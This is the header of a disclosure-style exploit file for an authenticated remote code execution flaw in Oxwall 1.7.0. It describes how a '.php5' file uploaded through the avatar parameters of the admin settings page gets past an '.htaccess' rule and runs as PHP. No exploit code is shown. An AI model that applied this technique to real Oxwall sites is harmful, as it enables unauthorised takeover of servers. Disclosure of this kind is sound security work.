    # Oxwall 1.7.0 Remote Code Execution Exploit
    #
    #
    # Vendor: Oxwall Software Foundation
    # Product web page: http://www.oxwall.org
    # Affected version: 1.7.0 (build 7907 and 7906)
    #
    # Summary: Oxwall is unbelievably flexible and easy to use PHP/MySQL
    # social networking software platform.
    #
    # Desc: Oxwall suffers from an authenticated arbitrary PHP code
    # execution. The vulnerability is caused due to the improper
    # verification of uploaded files in '/admin/settings/user' script
    # thru the 'avatar' and 'bigAvatar' POST parameters. This can be
    # exploited to execute arbitrary PHP code by uploading a malicious
    # PHP script file with '.php5' extension (to bypass the '.htaccess'
    # block rule) that will be stored in '/ow_userfiles/plugins/base/avatars/'
    # directory.
    #
    # Tested on: Kali Linux 3.7-trunk-686-pae
    #	 Apache/2.2.22 (Debian)
    #PHP 5.4.4-13(apache2handler)
    #MySQL 5.5.28
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
